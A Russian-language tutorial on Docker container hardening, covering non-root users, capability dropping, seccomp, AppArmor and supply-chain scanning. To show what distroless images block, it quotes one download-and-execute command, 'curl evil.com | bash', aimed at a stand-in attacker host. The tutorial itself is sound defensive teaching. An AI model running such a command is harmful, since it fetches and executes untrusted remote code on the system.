Концепции безопасности контейнеров
TL;DR: Контейнеры делят ядро с хостом — это НЕ VM. Защита: non-root user,
--cap-drop=ALL, seccomp, минимальный образ, сканирование CVE.
Безопасность в Docker — это многослойный пирог. По умолчанию контейнеры “безопасны в меру”, но для продакшена требуются дополнительные меры защиты (Hardening). Основная цель — уменьшить поверхность атаки (Attack Surface) и ограничить ущерб в случае компрометации приложения внутри контейнера (Container Breakout).
1. Изоляция и её пределы
Контейнеры — это не виртуальные машины.
- В VM: Гипервизор эмулирует железо. Ядро гостевой ОС изолировано от ядра хоста. Побег из VM (VM Escape) — редкое и сложное событие.
- В Docker: Все контейнеры делят одно ядро (Linux Kernel) с хостом. Уязвимость в ядре (Kernel Panic или Exploit) может скомпрометировать весь сервер.
Правило №1: Не запускайте контейнеры с непроверенным кодом (Untrusted Workloads) на одном хосте с критически важными сервисами без использования специальных рантаймов (gVisor, Kata Containers).
2. Принцип наименьших привилегий (Least Privilege)
User Mapping (Запуск не от root)
По умолчанию процессы в контейнере работают от root (UID 0). Это удобно, но опасно. Если злоумышленник “сбежит” из контейнера, он станет root-ом на хосте.
Защита:
- Создавать пользователя в Dockerfile:
RUN useradd -u 1000 appuserиUSER appuser. - Использовать Rootless Docker (демон работает от пользователя) или User Namespaces (root в контейнере = nobody на хосте).
Capabilities (Дробление прав root)
Linux Capabilities разбивают всемогущество root-а на мелкие права. Docker по умолчанию сбрасывает (DROP) самые опасные:
CAP_SYS_ADMIN(аналог “бога” в Linux).CAP_SYS_MODULE(загрузка модулей ядра).CAP_SYS_BOOT(перезагрузка хоста).
Но оставляет базовые: CAP_NET_BIND_SERVICE (биндить порты < 1024), CAP_CHOWN, CAP_SETUID.
Best Practice: Сбрасывайте вообще все привилегии (
--cap-drop=ALL) и добавляйте только необходимые. Например, Nginx-у, слушающему порт 8080, не нужны никакие Capabilities.
3. Ограничение системных вызовов (Seccomp)
Приложение общается с ядром через системные вызовы (syscalls): open, read, write, socket. В ядре Linux их более 300. Большинству приложений нужно лишь 40-50. Остальные — потенциальный вектор атаки.
- Seccomp (Secure Computing Mode): Фильтр системных вызовов.
- Docker применяет Default Seccomp Profile, который блокирует ~44 опасных вызова (например,
reboot,syslog,mount). - Если вашему приложению не нужно создавать новые процессы (fork/exec), можно заблокировать и их, сделав RCE-атаку бесполезной.
4. Мандатный контроль доступа (AppArmor / SELinux)
Это “вторая линия обороны” после прав доступа Linux (DAC). Даже если процесс работает от root, AppArmor может запретить ему писать в /etc/passwd.
- Docker генерирует дефолтный профиль AppArmor (
docker-default), который запрещает запись в критические директории/procи/sys. - Попытка прочитать
/proc/kcoreиз контейнера будет заблокирована AppArmor, даже если у процесса есть права на чтение.
5. Защита Supply Chain (Цепочки поставок)
Безопасность начинается до запуска контейнера (docker run).
- Trusted Base Images: Используйте официальные образы (
library/node) или образы Verified Publishers. Избегайте образов отvasya_hacker/app. - Scanning (Сканирование): Регулярно сканируйте образы на наличие CVE (уязвимостей) в библиотеках. (Инструменты: Trivy, Grype, Docker Scout).
- Minimal Images: В образах
distrolessнет командной оболочки (sh,bash). Даже если хакер найдет RCE-уязвимость в вашем коде, он не сможет выполнитьcurl evil.com | bash, потому чтоcurlиbashпросто отсутствуют. - Signing (Подпись): Использование Docker Content Trust (Notary) гарантирует, что образ был создан именно вами и не был подменен по пути.
Резюме: Чек-лист безопасности
| Вектор | Мера защиты |
|---|---|
| Kernel | Обновлять ядро хоста. Использовать gVisor для изоляции. |
| Daemon | Использовать Rootless Mode. Защищать сокет. |
| Container | USER 1000. --read-only rootfs. Лимиты ресурсов (CPU/RAM). |
| Image | Минимальный базовый образ. Сканирование на CVE. |
| Runtime | --cap-drop=ALL. Seccomp/AppArmor профили. |
Подводные камни
| Заблуждение | Реальность |
|---|---|
| «Контейнер = изоляция как VM» | Общее ядро. Уязвимость в ядре → компрометация хоста и всех контейнеров |
| «—privileged для удобства» | --privileged отключает ВСЮ изоляцию. Контейнер получает полный доступ к хосту |
| «Root в контейнере безопасен» | Без user namespaces root (UID 0) в контейнере = root на хосте |
| «Образ из Docker Hub безопасен» | Даже official images содержат CVE. Сканируй Trivy/Grype перед деплоем |